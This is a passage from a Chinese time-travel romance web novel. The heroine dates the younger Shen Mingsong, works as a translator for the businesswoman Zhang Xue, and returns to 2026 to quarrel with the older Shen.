宋尔雅笑眯眯,觉得他此刻一副被污蔑后辩解的表情很好玩, 继续胡说:“骗你做什么, 我十九岁就住进你家跟了你的。” 沈明松:“你现在几岁?” “二十一……不对, 我的世界现在已经过到2026年了, 我二十二岁啦。” “你2005年出生的?”沈明松眉心聚拢,凝结成重重心事, 她比他猜想得还要小,不算虚岁也才二十一岁:“你妈妈怎么可能会让你住进我家?” 更别提嫁给他。 宋尔雅笑容一点一点收了回去, 她该怎么和他说那个世界里她已经没有妈妈了, 而他也失去了母亲。 她去拉沈明松手, 他没有抽走,反而用宽大的掌心包住她小手。 失落的情绪又被扫走了, 她继续骗人:“我们真的是情侣啦,在未来呢, 像我们这种差了辈的恋爱并不少见,还有二十来岁的和八十岁结婚的,这种叫忘年恋, 其实现在也有很多的,对吧。” 沈明松表情有所松动,垂眼看着另一只手掌心的名字。 宋尔雅手和他的相扣在一起:“我在那边除了你之外已经没有任何亲人了,你对我来说,是很重要的人。” 结果沈明松下一句就问:“那么,你是因为未来的我,而喜欢现在的我吗。” “不都是你吗?”宋尔雅睨着他神色。 沈明松丢开她的手:“所以你是背着未来的我和现在的我谈恋爱,这么贪心的?” 宋尔雅:“……” “那我再告诉你一个秘密好了,”她讨好的贴上去,“2001年的时候,你也会穿越,穿到2020年的你身上。” 在他诧异的神色中,她再一次重复:“所以呢,哥哥,我不是宋瑶,我叫宋尔雅、宋尔雅、宋尔雅,你一定要记住我的名字,宋芳是我的妈妈。等有一天你去到了我的世界,你就去找我好吗,我在2020年等你过来。” ~ 宋尔雅坦白一切是为了消除沈明松心里的忧虑,不瑶再每天晚上担惊受怕她随时会死去,她还特意叮嘱,如果她下去穿走后又“死”,就别告诉宋芳他们了,免得又吓着。 两人长谈了半宿,将近凌晨三点宋尔雅困得不行了,连眼睛都睁不开,含含糊糊的说:“每次我都会醒过来的,如若再有下次,哥哥你可千万别把我火化了啊。” 沈明松许是在消化接受大量非正常信息,一直没怎么说话,他起身去把灯关了,过了一会儿,宋尔雅才听到他出去关门的声音。 她一秒也撑不住睡了过去,清晨七点时她被猛然惊醒,大热天的冒出一身冷汗。 她做了噩梦,梦见宋瑶一动不动的躺在殡仪馆,而她的灵魂站在一旁,无论怎么着急,用尽了办法都穿不到宋瑶身上。 她眼睁睁地看着工作人员把宋瑶身体推进焚化炉,熊熊火焰将人一点点吞噬掉。 死亡是她最为恐惧的事,在那个梦中,那种惊惧宛如一条露出獠牙的毒蛇,冷冰恶心的躯体紧紧地缠绕在她脖颈,勒得她喘不过气。 宋尔雅想,如果真有一天她无法再穿到宋瑶身上,她该怎么办? ~ 沈明松似乎一整天都有空,开车送明珠去成年大学后回来来路上顺便去了趟菜市场,买了只鸡来炖汤,做中饭。 宋尔雅在一旁打下手,帮忙洗青菜,她看到鸡汤旁边的土罐冒着热气,不用打开就知道里面是中药了。 有些崩溃:“还要煮给我喝吗?我现在的身体真的没有任何毛病,任何!” 沈明松身子微微偏过来,看着她嫌弃的脸,说:“买都买了,不煮浪费。” 宋尔雅说:“我要去倒掉。” 沈明松哄她:“煮都煮了,没剩几包了,喝完就不抓了。” 宋尔雅微微踮起脚亲了他一下,坚持道:“我不喝。” 沈明松没反应过来,她又是一下,重复:“不喝嘛。” “不行……” 就在宋尔雅要梅开三度时,沈明松忽然一把抱起她,让她坐自己手臂上,鼻尖碰碰她鼻尖,眼底有亮亮的光芒,两人呼吸都纠缠在一起了。 他说:“尔尔,不可以这么耍赖皮的。” 宋尔雅一双眼睛人畜无害:“真的不可以嘛?” “再亲一个。”沈明松偏过头,把侧脸露出来。 宋尔雅却把他的脸扶正,重重一口亲在他嘴角。 沈明松失笑,拿她简直无可奈何:“没见过你这么会撒娇的。” “因为我是年下啊,年下没有话语权,只能撒撒娇博取叔叔欢心喽。” “什么叔叔。”沈明松一下子沉下来脸来,“叫哥哥。” 宋尔雅不满的抱怨,“明明是你自己非要我叫你叔叔的……” 话未说完就被堵住了嘴巴,宽大的手掌扣住她后脑勺,令她后退不能。 像溺在水中,沈明松捏着她下颌迫使她张开嘴,不仅咬她。 …… 沈明松骤然松开她,脸有一点红。 宋尔雅微微喘息,呼吸着新鲜空气,抱住他脖子,用脸贴贴他声音软软:“哥哥。” 沈明松摸摸提她脑袋:“乖。” 宋尔雅又说:“把药倒了。” “……好。” ~ 军训结束后宋尔雅的假期也结束了,大一新生开始上课,她也回到了大学宿舍。 室友看到她很惊讶,学校给瞒得很好,没其他人知道她“死”过一次的事,只当她中暑晕倒后回家了。 李文喜关心的问:“宋瑶,你这些天去哪里了?” 宋尔雅打开背包,把衣服拿出来边整理放进衣柜,边回答:“我身体不太好,学校给我免除军训了。” “真的!那么好!” 一个月军训下来,无论男女都要被晒脱皮了,从水嫩嫩的大萝卜晒成萝卜干,黑得不成样子。 而她,还是那副没吃过苦的白净模样,连王诗雨都多看几眼。 余圆从床下爬下来:“你身体怎么了?” 宋尔雅不知道要怎么回答,吐出两个字:“体虚。” 余圆是医学专业的,让她伸出手来给她看看。 宋尔雅惊奇:“你还会把脉?” 余圆才十八岁呢,居然有这本事? 她??x?摇头:“不会,只是想提前感受一下当医生的感觉。” 宋尔雅:“……” 余圆自然也看不出她有啥问题。 ~ 海都入了秋,梧桐叶开始泛黄,校园里举行了社团招新活动,特意摆在新生宿舍楼下招揽新生。 上百个展位摆在摆列一起形成条街了,学长学姐为了招人使尽各种手段,唱歌的、跳舞的、说相声的,什么才艺都表演上了。 有的展位火爆,也有的冷冷清清,女生多的社团格外爆火,展位挤满了想要了解的人。 宋尔雅一早被同专业的一个学姐拉进入了英语社团,她刚到展位就被拎显眼位置和其他几个社员坐一堆,听学姐和别人说:“当然了,我们社团活动很多的,经常能和学姐学妹们见面,吃吃玩玩的。看,这就是我们社员们,来,美女们和学弟们打个招呼。” 一个女生社员说:“我怎么感觉上了贼船呢。” 立马有同社团的学长接话:“我去年也是这样被学姐骗进来的,还以为能和美女们玩呢,结果一有活动就让我们男的干,不是搬桌椅就是扛太阳伞。” “那你咋还不退?”学姐挂着老谋深算的笑,“我骗人了吗,你就说我们社团女生漂不漂亮吧?” 这下学长不反驳了,嘿嘿傻笑:“本来要退的,但谁叫今年又有漂亮小学妹呢。” 他说话时看着宋尔雅。 学姐也看她,觉得自己为社团做出了巨大贡献,居然招来了这么漂亮的小学妹。这不,他们都不用去发传单了,几个美女往这一坐,多的是新生想来报名。 宋尔雅坐了没多久,就被其他事物吸引了,挨个去看其他社团,篮球社,围棋社,舞蹈社……好多。 她手里被塞了一大把传单,想着要不要再进其他社团时就走到了运动社前,展台前几个男生在朝观众展示胸二头肌,引起惊呼一片。 沈明松坐后边喝水。 韩西林忙着在忽悠新人,一抬头,眼睛都亮了:“学妹你好,要不要来看看我们运动社团。” 宋尔雅礼貌接过,跑到沈明松面前就不礼貌了,顶着张笑脸:“哥哥你在这里卖身呀?” “咳、咳!”沈明松差点要水被呛死了,“怎么说话?” 韩西林和几个男生都围过来了,发出惊叹:“沈明松,原来这就是你妹妹啊。” “明松妹妹?好漂亮。” “长得不太像啊。” 韩西林和沈明松一个宿舍,大一时就常有个自称他妹妹的女生往宿舍里打电话,声音特别甜美,他早就好奇她长什么样了,如今亲眼看到,还真是惊为天人。 “妹妹,来参加我们社团不,我们社待遇可好了,氛围也轻松,还有好多帅哥……” 沈明松推开韩西林冷冷说:“社团每天都要去跑步,活动不是马拉松就是爬山。” 宋尔雅闻言立马拒绝了。 韩西林大失所望,他们社本来就没几个女生,如今来了个这么漂亮的,有个男生心痒痒的说:“我们可以破例的,不喜欢运动可以不去的,来给我们当拉拉队也好。” 宋尔雅明显发现了沈明松脸色沉了下去,抓着她手臂带她离开去到另一个清冷角落,满脸不开心:“你和他们废话那么多做什么?” “我就和你说了一句而已。”不等他回答她又说,“你不想我加入你们社团?” 沈明松说自己没参加任何社团,今天被室友临时拉过来帮忙的。 宋尔雅:“好吧,你不在我也不去了。” 沈明松又弯唇而笑:“你参加了什么?” “英语协会,我们专业学姐强推的。” 沈明松:“怎么还选本专业相关的,平时课没上够?” 宋尔雅把传单成扇子扇风:“学姐有些家长资源,平时会给社员介绍兼职,去做做家教赚点生活费。” 她这些年赚的钱,给了一些宋芳用来装修房子,一些放股市里待增值,剩下的交学费了。 就算有一点金手指,她也没靠在股市发上大财,毕竟投入的本金太少了,她就也就赚个几万块。 虽然这个时候的几万块,也是不少钱了,但还达不到她预期,她要尽可能的多留着钱给宋芳。 “就因为这个。”沈明松都不知道自己小女友这么缺钱了,“掉钱眼里去了?” “你还说我,你自己不爱赚钱?” 沈明松赚起钱来可比她热衷得多,说干立马就干的,还经常逃课去公司。虽然他现在没什么课了,但想多和她见面,他有空就回学校。 两人去逛了一趟超市,沈明松买了很多零食和些水果,宋尔雅在门口顺手从冰柜拿根冰棍边走边吃。 十月的天还是很热的,冰棍融化得快,一直往手上流水,她不得不加快速度舔,沈明松不知抽什么风一把抢过去给吃了。 她瞪大眼睛:“你抢我的干嘛,刚刚买的时候问你,你又说不吃?” 沈明松恬不知耻:“谁叫你舔得慢吞吞的。” 冰棍就剩根棍了,宋尔雅用手帕擦手上黏糊糊的糖水:“我突然想起来你以前还偷过我一条手帕。” 沈明松眼皮一抽:“没有的事。” “我记性很好的。” 沈明松一副绝对没有此事的表情,像是真给忘了。 宋尔雅叹气:“没关系,就算你是变态我也喜欢你。” “宋尔雅。”他叫的是她真名,牙齿磨了又磨,“我很好奇芳姐是怎么把你养大的,嘴巴欠欠的。” 宋尔雅恶魔微笑:“你不喜欢我喜欢你?” “……”这能接话? 沈明松不和她计较,转移去别的话题,问她四六级报名了吗。 宋尔雅刚入学那会就报了,等十一月就要考了。 他带着她走到男生宿舍楼下让她等一会,他跑上去大概五六分钟,抱了一些书下,其中还有一本厚厚的牛津词典。 接着又送她回到宿舍楼下,让她把书拿回去备考。 宋尔雅一手零食一手书,有被家长一个巴掌一颗糖教育的滋味了。 她回宿舍洗完澡后才一边擦着头发,一边翻看沈明松给的资料书,里面写了不少笔记,字体遒劲有力,书本里还夹了一张银行卡,背面上有密码。 第59章 第 59 章 章雪 相较高中而言, 大学还是挺自由的。有很多空余时间,还有各种同学聚餐,室友聚餐, 社团聚餐。 宋尔雅天天跑去网吧看看经济走势来操控账号,她持仓的股票有好几支未来猛涨二十多倍,她还想补仓进去, 想发财。 上午最后一节课结束后,宋尔雅挽着李文喜的手臂一起走出教学楼。 十一月份, 校园里的树木已经进入冬天状态, 最后一片树叶都落尽了,萧条的风吹过, 李文喜缩了缩脖子:“听说海都会下雪, 也不知道什么时候才能看见。” 宋尔雅仰头望望天空:“大概一月份左右就会下了。” 两人走到熙熙攘攘的食堂, 望着窗口那不见为尾巴的队伍, 想必今天又打不到什么饭菜了。 沈明松在学校时,两人很少会去食堂吃, 她很热衷于拉着他到学校外一家家探店。 可自天气转凉后,沈明松就不常在学校了, 有时十天半个月都见不到他踪影, 就连打电话给他, 他都是醉酒状态,只能含糊地应她两句。 宋尔雅猜他是在忙“星时代”的那项巨大工程。 他不在, 宋尔雅也就失去了觅食的兴趣,乖乖和李文喜一起去排队, 果不其然,排到她时窗口也没剩几个菜了,还都冷了。 最后她要两个馒头干啃, 就当是减肥了,这些天她似乎又胖了,一捏肚子都是软软的肉。 李文喜那份也是清汤寡水,愣是一个肉菜都没有,看着就没有食欲。 宋尔雅才啃了两口,一个女生鬼一样地冒出来。 她坐到宋尔雅对面,仔细观察她的脸:“个子高,头发长,眼瞳浅……宋瑶,你是大一英专的宋瑶对吗?” “你是?”宋尔雅茫然地看她。 女生打扮干净利落,一头卷发,看起来年纪二十来岁的年纪,身上有股很锋利的危险气息。 章雪两个字在宋尔雅脑海蹦出来,她心突突突地跳。 女生笑眯眯地抓住她的手:“我叫章雪,是沈明松的朋友,你是他的小女朋友吧?” 宋尔雅把手抽了抽,没能抽回来,章雪竟还把她强拉起来,一副不容她反抗的模样:“吃这些做什么,走,姐请你去吃别的。” 李文喜看这架势跟着站起来:“宋瑶,这??x?是你朋友?” 宋尔雅不知怎么回答,章雪不是她朋友,而是她朋友段西瑞的妈妈。 章雪看了一眼李文喜:“不好意思哦,你朋友宋瑶借我一下,我有用。” 说着也不顾宋尔雅意愿,搂着她肩膀往外走。 在被她推上校门口的车时,宋尔雅扒着车门,惶恐问:“你带我去哪儿?” 章雪:“别害怕,姐不是坏人。” 宋尔雅后退远离她一点,章雪不是坏人,但性格很强势,虽然她对她一向是长辈的那种友好,每年都给她寄生日礼物。 但宋尔雅也亲眼见过段西瑞因为没有达到她的要求,章雪大发雷霆的模样,那简直是女魔头。 她怕这个女人,就像段西瑞怕沈明松一样,每次见她都有种街上偶遇班主任的既视感。 章雪很少笑,宋尔雅在她面前会不自主地收敛,所幸她常年在国外做生意,两人交集不多。 章雪见吓到她,叹了一口气:“好吧,那借你手机给我打个电话总行了吧?拜托了小美女。” 宋尔雅犹豫的把手机拿出来,章雪飞快的抢过,直接在通讯录找起来,问:“你给沈明松备注什么?” 宋尔雅给她指了一个号码。 “怪有情趣的,还哥哥妹妹的。”章雪笑出声,把电话拨出去了。 宋尔雅:“……” 她又觉得此时的章雪不像未来的那个不苟言笑的,段西瑞的恐怖老妈。 也许是年轻时一个性子,年纪上去后,经历的事情多了,又换了另外一种。 电话很快被接通,沈明松哑声问:“尔尔,什么事?” “哈,你个王八蛋,女朋友的电话就接得飞快是吧!”章雪气急败坏,连连冷笑,“你女朋友在我手上,限你半个小时后出现。” 挂断电话后,章雪翻脸比翻书还快,又回恢复成笑眯眯的模样:“姐是吓他的,不会真对你做什么,第一次见有些匆忙没准备礼物,这样吧,这个送你,吓到你了抱歉啊。” 说着她把腕上的金表取下来给宋尔雅。 宋尔雅:“……” 那块表在这时的价格是好几万块,普通人工作十年都不一定买得起。 章家以前被说是暴发户,搞养殖的,被章雪做大做强后,又称为大企业家,就算后面段家走下坡路退出豪门圈子,也不影响段西瑞在海都横着走。 ~ “沈明松你是升天了吗,我打了你多少个电话,想见你一面还要我去找把登天梯不成?” 沈明松刚推开包厢门,就被章雪劈头盖脸的一顿骂,他身上还穿着在工地没来得及换的劳保服,目光越过章雪看向她对面的宋尔雅。 她跟着鹌鹑一样,双手放在膝盖乖乖坐在位置上,求助的目光望向他,露出尴尬而不失礼貌的微笑。 沈明松脱下外套给餐厅服务生,径直坐到小女友旁边坐下:“太忙,没接到。” “那你手机还真是智能,只能接到女朋友的呢。”章雪阴阳怪气,接过服务生递上来的餐单打开,又看向宋尔雅,和善的问,“你海鲜过敏吗?” 宋尔雅摇摇头。 “行,那我就点了,来个清蒸东星斑,芝士焗龙虾、盐焗奄仔蟹、黑松露龙虾浓汤……” 沈明松打断她念菜单:“就三个人你要吃空餐厅?” “我吃饭一定要吃好吃饱的,别跟段子阳一样点什么西餐,塞牙缝都不够,别人看了还以为我落魄。”章雪依旧我行我素,一口气点了十几个菜,还开了一瓶红酒。 章雪是北方那边的独生女,十几岁就跟着老爹进公司学习,来海都上大学后她便在这边建立了个分公司,顺便交往富家公子哥段子阳,通过他又认识了沈明松,从他手里搞了几块地建厂。 国家鼓励民企对外贸易,颁发了各种政策,章雪立即跟随大方向,想打开国外市场首先得先打通海关那一关。沈明松之间为了拿下“星时代”的那个项目,可是求了不少人,也帮人做了不少事,人脉链搭建起来,章雪便有意让他牵桥搭线。 沈明松:“为什么不找段子阳。” “哈哈哈,”章雪笑起来,跟喝白酒一样灌了一口红酒,“段家跟我摆谱,想压压我脾性,也不想姐是那么好压的,暴发户怎么了,有钱我什么做不到。” 宋尔雅不熟悉他们谈论的话题,也就不插嘴了,沈明松掰开螃蟹腿将肉取出来,递给她:“这么安静?” 她向来小嘴叭叭停不下来的。 宋尔雅:“听不懂你们在说什么。” 沈明松:“那多吃点,要吃甜虾吗?” “哎哟,等我走了你们再恩爱成不成。”章雪看过来:“反正,我话就到这里,只要你肯帮个忙,钱我应有尽有,你现在的资金紧缺不是吗?拉我一把少不了你的。” 沈明松并没有考虑多久:“等我电话。” 章雪全程都在喝酒,在得到满意答复后,便让司机来接她离开了,包厢里只剩他们两人。 沈明松忽然问:“是不是很无聊?” 宋尔雅摇头:“没有,哥哥你最近都好忙啊。” 沈明松转着桌子把甜虾移到跟前,语气疲倦:“项目现在离不开人。” 公司每天都有许多重要文件要等他签字,工地也要他亲自去抓质量抓安全,要应付甲方,也要弄材料递交到政府那边等待审批。 宋尔雅明白,段子阳完全就是个享福命,生得好,朋友交得好,就老婆都娶了个能干的,虽然后面被章雪离婚甩了。 宋尔雅说:“你好像很喜欢章雪那样的人。” 沈明松嘴角一抽:“别诬赖我。” “我是说,你很欣赏他们的样子,以前的明秋月学姐也是,你的女性朋友都很厉害,如果我也厉害一点就好了。” 说完宋尔雅居然开始反省自己了,她似乎、好像真没有干过什么大事,她在沈明松身边一直是妹妹角色,负责卖萌,在另一个时空里更是小辈,她都没有和沈明松并肩过。 沈明松挑了一下眉毛:“你可是文科状元。” 宋尔雅又开心起来:“说得对!” 沈明松揪揪她脸蛋:“尤其是这里,无人能敌。” 出了餐厅,外面刮起了寒风,好不容易见上他一面,宋尔雅又耍赖跳上沈明松后背,要他背着散步。 “下来。”沈明松双手支撑着她膝盖窝,怎么晃她都甩不下来,只好托着她背更稳一点。 宋尔雅搂着他脖子,趴在他耳边瓮声瓮气:“哥哥你会一直喜欢我的对吧?” 像偶像剧里的女主一样,问些傻乎乎酸溜溜的问题,沈明松背着她慢慢走:“怎么矫情起来了?” 宋尔雅不仅矫情,还有一点点的难过:"以后,就算是撒谎,也不要说不喜欢我忘记我了这种话,我不爱听。" 就算另一个时空的沈明松满嘴谎话,但他说不再喜欢自己时,她也是会生气难过的。 沈明松把她抬高一点,令人稳稳趴他背上,敏锐的察觉到什么:“是未来我做了什么让尔尔不开心的事吗?” 宋尔雅用力点头,又做出很宽容的模样:“没关系,我可以原谅你一次。” 沈明松:“这么大度?” 宋尔雅说自己不小气,又问:“你好像从来都不好奇未来的你是什么样子?” 从坦白到现在,沈明松就没怎么过问过未来的事情。 他说:“好奇的。” 宋尔雅偷偷摸他发顶,轻轻笑:“那你可以问,我都会告诉你的,绝不保留。” 沈明松摇头。 “为什么?” 沈明松:“你要说什么,说和那个我发生了什么?” 宋尔雅还想追问,忽然又意识到什么,笑嘻嘻:“我知道了,你怕我说出来,你会吃醋是不是?” 沈明松:“下来。” 宋尔雅八爪鱼一样趴在他后背上。 餐厅边上就有个百货大楼,沈明松干脆带着她进去买了些冬天的衣服,他挑轻薄又保暖的来买,还会给她搭配。 从衣服围巾到帽子、袜子、鞋子,让她试穿一一试穿,大概是遗传有明珠的艺术天赋,他并没有所谓的直男审美。 销售员在边上笑成一朵花,夸宋尔雅比模特穿了都好看。 海都的冬天特别冷,沈明松最后还买了一床羽绒被给她,在天黑之前送她回学校,之后又要回公司那边了。 车子启动之前,他突然伸出手扯住她手臂,把人上半身都拽进车窗里,亲了一会,才捏捏她脸:“回去吧。” 宋尔雅不舍,估计他们又要好久不能见面了。 第60章 第 60 章 闲得慌??x? 十二月初海都愈发冷了, 寒风刺骨,哈口气都冒烟。 初雪也比往常早来,这叫上早课的学生苦不堪言。 宋尔雅缩在被窝里都觉得手脚冰凉, 热水供应处还常常断水,她想泡个脚暖身体都没办法。 她虽然不爱运动但很爱出门溜达,就算没课也早早爬起来到校园里散散步, 或者去图书馆看书。 她大一基本没什么课,课表都排上午去了, 下午基本没事干了。 余圆倒是课表爆满, 白天根本见不到她影子,李文喜是兼职狂魔, 课余时间又做家教又去餐厅打工的, 就连晚上都在学校附近的便利店当收银员, 每天赶在宿舍门禁前回来。 宋尔雅和王诗雨不对付, 两人在宿舍里互相看对方不顺眼,好几次差点掐起来了。 为了不待在宿舍里被惹生气, 她决定给自己找点事干。 英语社团一直有给社员提供各种家教兼职信息来源,供大家去自行选择, 宋尔雅看到一家公司的招聘的翻译兼职工作, 工作时间短不用每天坐班, 工资开得很高,好些人想去, 又担心是骗子。 只有宋尔雅不担心,因为那公司就是章雪的。 别看现在还是一家没什么名气的分公司, 未来可是大集团,她现在加入进去抱紧大腿,等干到未来岂不是元老级别。 宋尔雅做着白日梦, 抱着试一试又不要钱的心态给人家打电话,人家还真让她周末去面试了。 她屁颠屁颠就去了,哪想面试她的是章雪本人,工作内容还是直接和她对接的,她怂得差点转身逃跑。 章雪看到也她愣了一下,让她回去吧。 宋尔雅心气顿时上来不跑了,质问:“为什么,我都还没开始面试就淘汰我?” 章雪:“你吃不了苦,这工作不适合你。” 宋尔雅生平第一次被人看扁了,不服气道:“你怎么可以随便判定我?” 她的逆反心理上来,都顾不上怂章雪,越想淘汰她,她就越想挤上去,非要问个明白。 章雪看着她倔强模样,也不惯着她:“好,下午我有客户要接待,要是有信心勇气你就跟过来看看。” 大概都用不了半天,这看着娇滴滴的小女生就哭着要回去了,那可就不是她不给沈明松面子了。 宋尔雅其实是个心高气傲的人,她嘴上不说,但会暗自和比自己优秀的人较劲,她从幼儿园起都要争着要做拿小红花最多的小朋友。 她果真等到下午坐上章雪的车,冷静过后也没冒出退缩的想法,随着一起去的还有一个女翻译。 女翻译在车辆抵达目的地后拿出香水喷了喷,顺便给宋尔雅送了两喷,是清新的薄荷味。 宋尔雅不明所以,直到从车窗外看到工厂招牌——屠宰场。 车在厂里办公楼下,刚打开车门,一阵风带着猪的骚臭吹过来,还伴随着浓浓血腥,宋尔雅第一时间捂住鼻子。 女翻译好心劝告:“现在跑还来得及,有时国外客户要来参观工厂,我们就要跟着过来翻译,待上几个小时浑身都是臭味。” 章雪冲她笑了一下:“我让人送你回去?” 宋尔雅放下手:“这算什么?你敢聘请我,我还不敢干不成?” 章雪和她杠上了:“好,那就走吧。” 她是临时跟过来的,什么都准备没有,章雪也不指望她能发挥什么作用,带着客户去参观工厂的卫生情况、肉类分割技术和品质等。 雷蒙德先生是德国某大型连锁超市的采购,他自己也带有翻译来,交流皆由他的翻译和女翻译对接,他再用德语转述给。 宋尔雅被边缘化了也不丧气,硬把自己往章雪那儿凑,听了几耳朵后,告诉章雪对面翻译的表达有问题。 比如女翻译介绍猪肉纹理像雪花,口感柔嫩,对面翻译转述给雷德蒙先生:这种猪的品种叫雪猪,冬天肉质格外柔软。 章雪:“你还听得懂德语?” 宋尔雅知道机会来了,立马上赶着表现,自信满满:“如果你相信我的话,我可以和雷德蒙先生直接沟通。” 她脸上恨不得写上“我很有用的,用我用我”,像一个等待被夸奖的小朋友。 ~ 晚上回学校,李文喜问她是不是去杀人了,一股血腥味。 宋尔雅叉腰,得意洋洋:“哼哼,还不是我赢了。” 李文喜茫然:“赢什么?你又参加了什么比赛?” 宋尔雅给她比了一个手势:“我找到一份实习工作了,工资这个数。” “真的呀,你会不会被骗了?” “当然不会。” 别人也许会给员工画大饼,但章雪可不会,她可是拿过全国杰出贡献企业家奖的,员工各种福利拉满,在2026年的时代还严格实行八小时双休工作制度,和国企一个待遇。 章雪表示会根据宋尔雅课表给她安排工作量,只有周末固定去坐班,在学校期间可以只翻译文稿,但一定不能跑,不然就赔违约金。 她给宋尔雅发了台笔记本方便她工作,于是宋尔雅没课了就抱着电脑去咖啡厅工作,那边开了暖气。 下雪的时候,沈明松终于抽出空来回学校一趟。宋尔雅上车就朝他就扑上去,直往他大衣里面钻,汲取温暖的体温,碎碎念念:“什么破学校,又不给装空调,又不让用电热毯,我要被冻死了。” 车里空调一直开着的,沈明松整个人都暖洋洋,一摸她小手,冷冰冰的,双手抓起来就放自己脖子上:“冻坏了?” 宋尔雅吸吸鼻子,抱怨:“我的脚都冻红了,不会要生疮吧。” 沈明松看她撅起来嘴巴,那小表情有多委屈就有多委屈,他亲亲她发顶:“给我看看。” 宋尔雅也不藏着掖着,真就把鞋袜脱了,坐在副驾驶上用双脚踩在男人膝盖上:“你看。” 那双脚果真根根脚趾都发红了,沈明松上手摸了摸,冷得像块冰。他又把鞋袜给她重新穿好:“一会去商场买个电热水袋,晚上睡觉就捂捂。” 宋尔雅头往后一缩,拍开他伸过来的手:“哥哥你不讲卫生,刚摸了脚你怎么能来摸我脸?” “这是你自己的脚。”沈明松探了个空,没好气,“你去屠宰场怎么不嫌脏。” “赚钱嘛,不寒碜。” 沈明松:“……感情你只在哥面前娇气。” “因为哥哥你会纵容我。”宋尔雅理所当然的说。 沈明松被她哄得一愣一愣,藏不住笑:“行吧,小公主可以娇气的。” 他探身过来帮她把安全带系好,开动车子带人去吃饭,看电影,回学校时宋尔雅脚上已经换了双新鞋子。 内里夹着羊毛,很保暖。 沈明松送她到宿舍楼下,把怀里抱着一箱草莓给她,在她要上楼前终于问了:“尔尔,要不申请外宿?” 宋尔雅有过这个想法:“可是我才大一,学校不给的吧?” “特殊情况可以。”沈明松停顿一会儿,才说,“上次学校就给你开了不军训的特例。” 宋尔雅想到这回事,顿时燃起了希望:“真的,可是我很久没死过了,学校还会给特例吗?” 沈明松一听这话就变了脸,严肃呵斥她:“这种话不要乱说。” 宋尔雅抿住嘴巴,死亡确实是很忌讳的话题。 沈明松又伸手抱抱她,宋尔雅问:“那搬出去我住哪儿?” 沈明松:“这不用操心,不会让你流落街头的,你明天可以向学校申请退宿了。” 宋尔雅说:“我考虑考虑。” “别考虑太久,小心在宿舍里冻坏了。” ~ 宋尔雅还没考虑好,章雪就紧急需要她干活了。 上次那个女翻译给了宋尔雅一些资料让她熟悉公司产品,里面夹着很多专业名词,过几天章雪要带她参加对国外举行的商会,还只给了她一个星期时间做准备。 这是要给她安排强度了。 以前宋尔雅当过老板,现在改当社畜了,起初她觉得没关系,坚信自己只要努力迟早会发财的。 而现在她只觉得工作磨人,也打破了章雪是个好老板的滤镜,相处下来她简直是吹毛求疵,骨头里都能挑出刺来,且擅长挖掘员工潜力。 她还问宋尔雅能不能多去学门俄语,实在不行日语也行。 宋尔雅还震惊于她居然把猪肉卖到那么多个国家去了吗? 几天后她跟着章雪去参加完商会后,整个人都燃尽了。章家养殖业衍生出一条完整的产业链,屠??x?宰厂外还有食品加工场。 这次去商会目的是要把厂里生产腊肉香肠对外销售出去。 一天下来宋尔雅都在不停地翻译,幸好她把产品详情和专业名词背完了,才没有出错,有个团队的领头人特别难缠费口舌,一直在压价。 章雪嘴巴都讲秃噜皮了,宋尔雅也跟着遭罪,不断的喝水,嗓子冒烟了都。 结束后章雪亲自送她回学校,还给了她几个礼盒,是的自家产品。 宋尔雅才进宿舍坐下,看了眼时间,十点多学校已经没热水洗澡了。 李文喜就拎着两个热水壶回来。 “宋瑶,你怎么才回来,幸好我给你打到了热水,快去洗了睡吧,十一点就要关灯了。” “爱你。”宋尔雅感动得上去抱住室友,然后把礼盒给她。 “这什么,看起来很贵的样子,我不能要。” “我老板给我的,都是些腊肉,包装贵看着而已。” 章雪找人把礼盒设计得很高端的模样卖给老外,价格翻了又翻。 宋尔雅注意到平时李文喜都不怎么去食堂吃饭,在宿舍藏了个小锅用来煮挂面吃,这正好给她煮了。 李文喜第二天就把一块腊肉蒸上了, 三人分着吃了,王诗雨坐在自己位置上,看着他们很不是滋味。 她拉不下来面子凑上去,也没谁给她喊她。其余两个室友脾气看起来都还行,一般不会发火。但那个宋尔雅表面看起来软绵绵的,其实她才是最难搞的,总是笑里藏刀,指不定是她教唆室友排挤自己的。 王诗雨偷偷瞪了一眼,被宋尔雅看到了,她给她翻了个白眼。她那一刻就很想举报人了,但自己也藏了烧水泡脚的壶吹风机什么的。 李文喜没看到两人其中暗涌,关心的问:“宋瑶,我之前不小心看到你桌面上的申请退宿表了,你不住学校了?” 宋尔雅点头:“嗯,等我找到合适的房子我就搬出去住。” “为什么?” “我身体不太好,医生说说要静养。”宋尔雅随便找了个借口,其实她想搬出去也不全是因为宿舍太简陋太冷了,主要是怕哪天她穿走了,几个室友一看发现她“死”宿舍了,这不得吓死啊。 隔天她把退宿申请递交了上去,但辅导员不同意,让她至少住完这个学期。 但当天晚上,她回到了2026年。《 》 60-70 第61章 第 61 章 高血压 外面是黑夜。 宋尔雅躺在自己的床上, 身体上的难受也纷沓而来,她缓了好一会儿才爬起来下床。 地板都是暖的,她光脚穿过走廊来到沈明松房间, 直接推门而入。 床边开着睡眠灯光线朦胧的笼罩在平躺而睡的男人身上,泛着淡淡光晕。 宋尔雅无声息爬上床,跪坐在沈明松身边, 侧脸趴他胸口上时能听到他心跳和浅浅的呼吸声。 很平缓又有劲,身体素质可比她的要强多了, 有时自己睡着了心跳太弱, 都会把阿姨吓得要死。 认真讨论起来,她都不一定能活得过他。 所以他为什么会觉得自己老了? 她先前打他的那一巴掌并不重, 也可能是他皮糙肉厚的缘故, 那道印子已经没有了。 她往他脸上吹气, 烦人地摇晃他:“别装了, 我知道你没睡。” 沈明松骤然睁眼,眼底一片清明, 眉心笼成川字,不悦道:“下去, 我没教过你大半夜爬上叔叔床。” 宋尔雅轻笑, 精致的面容露出一丝病态, 嘴皮子使劲占人便宜:“可是你也没说过不能上啊。” 沈明松还未开口,就被两只手捂住口鼻遮挡住下半张脸, 少女趴在他身上。 “哥哥你知道吗,嘴巴会说谎, 眼睛可不会。”她面孔离得特别近,睫毛都快要触碰到他脸上了,“不准躲, 你为什么不看我。” 沈明松抬手扶着额头,闭上眼睛:“叫叔叔。” “你好难搞,我叫你叔叔时,你让我叫哥哥,我叫你哥哥了,你又要我喊回来。” 宋尔雅抱怨道,心里的落差巨大。 像是上一秒还在和自己黏黏糊糊的男朋友,下一秒就对自己冷淡。两个时空的差距就那么大不成? 她不甘心啊。 她伸手去扒他眼皮。 沈明松受不了她,一下子坐起来,看着默不作声跪坐在他床上的少女,叹了口气:“尔尔,不要这么任性。” 宋尔雅顿感脑袋上被扣上了一大顶帽子,气不打一出来:“我还什么都没干呢,怎么任性了?” 沈明松无奈看她:“比如这个点你应该回房间睡觉去。” 